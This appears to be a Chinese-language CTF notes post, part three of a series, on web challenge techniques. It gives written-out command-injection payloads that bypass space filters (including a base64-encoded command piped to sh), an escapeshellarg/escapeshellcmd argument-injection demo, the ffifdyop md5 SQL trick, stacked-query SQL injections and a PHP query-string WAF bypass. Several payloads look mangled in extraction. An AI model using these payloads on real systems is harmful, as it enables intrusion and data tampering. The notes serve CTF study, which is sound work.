CTF知识点总结(三)

空格绕过方式:

复制代码

IFS {IFS} IFS数字 < <>

三种绕过方式:

1.sh

复制代码

/?ip=127.0.0.1;echoIFS2Y2F0IGZsYWcucGhw|base64IFS2-d|sh

2.变量拼接

复制代码

/?ip=127.0.0.1;a=g;catIFS2fla$a.php

3.内联注释(将反引号命令的结果作为输入来执行命令)

复制代码

/?ip=127.0.0.1;catIFS2`ls`

2 |0 md5()漏洞

​ ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ' or '6,

3 |0 escapeshellarg()与escapeshellcmd()漏洞

复制代码

<?php a="172.17.0.2' -v -d a=1"; b=escapeshellarg(a); c=escapeshellcmd(b); echo a."<br/>".b."\
".
c; system($c); ?>

输出

172.17.0.2' -v -d a=1

'172.17.0.2''' -v -d a=1'

'172.17.0.2''' -v -d a=1'

1.$a传入的参数是172.17.0.2' -v -d a=1

2.经过escapeshellargs()处理后成为*'172.17.0.2'' -v -d a=1'* 即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

3.经过escapeshellcmd()处理后成为*'172.17.0.2''' -v -d a=1'* 这是因为escapeshellcmd对以及最后那个不配对儿的引号进行了转义

4.最后执行的是 '172.17.0.2''' -v -d a=1',由于中间的被解释为而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。

所以可以简化为 172.17.0.2 -v -d a=1',即向172.17.0.2发起请求,POST 数据为a=1'。

这样就能绕过过滤进行注入。

4 |0 sql注入绕过关键字

获取信息

复制代码

show databases; show tables; show columns from `table_name`;

修改表名

复制代码

1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50);#

预编译

复制代码

1'; SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460; prepare execsql from @a; execute execsql;#

另外,新知识,HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

复制代码

1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#

5 |0 preg_replace/e的命令执行漏洞

6 |0 MYSQL特殊模式(set sql_mode=pipes_as_concat)

​ 此模式下,输出字符串可以进行拼接

7 |0 PHP字符串解析特性(Easy Calc)

​ PHP将查询字符串(在URL或正文中)转换为内部_GET或的关联数组_POST。例如:/?foo=bar变成Array(foo => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20newsid%00=42会转换为Array(\[news_id => 42)。

​ 假如waf不允许num变量传递字母:

复制代码

http://www.xxx.com/index.php?num = aaaa //显示非法输入的话

那么我们可以在num前加个空格:

复制代码

http://www.xxx.com/index.php? num = aaaa

这样waf就找不到num这个变量了,因为现在的变量叫" num",而不是"num"。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

另外scandir()可列出目录和文件,scandir(/)扫描目录下所有文件,如果 / 被过滤,可以用char(47)绕过

相关推荐
向夏威夷 梦断明暄1 小时前
【高效管理token成本】OpenClaw精细化分库管理memory以减少token成本的方案的可行性研究
网络
TunerT_TQ2 小时前
【智能体安全治理|专栏第9期】从“一堆规则”到“数字宪法”:智能体治理的下一个阶段
java·开发语言·安全·开源治理·大模型安全·ai基础设施·智能体安全
云水一下3 小时前
零基础玩转bWAPP靶场(三十二):Broken Auth. - CAPTCHA Bypassing
web安全·bwapp·broken auth·验证码绕过
zzq77973 小时前
APP 加固选型实战:从保护面构建到发布验收的全链路指南
安全·安卓·app加固·apk加固·御盾安全·御盾·免费加固
鹿鸣天涯3 小时前
应急响应:常见WebShell管理工具
安全·web安全
aixingkong9214 小时前
AI超节点Scale Up域总线各层优化设计
linux·服务器·网络
zzq77975 小时前
Android 17 升级后 System.load 报错排查与加固兼容指南
android·安全·app加固·apk加固·御盾安全·免费加固·御盾加固
雾屿_Mistisle5 小时前
SQL注入
web安全
howdoyoudo2026065 小时前
AI审计手记 #10:当Google Earth变成谣言工厂——AI卫星图功能48小时失控始末
人工智能·安全·ai·语言模型
cyforkk5 小时前
并发控制与状态安全:Single-Flight 与幂等性的本质区别
java·安全·spring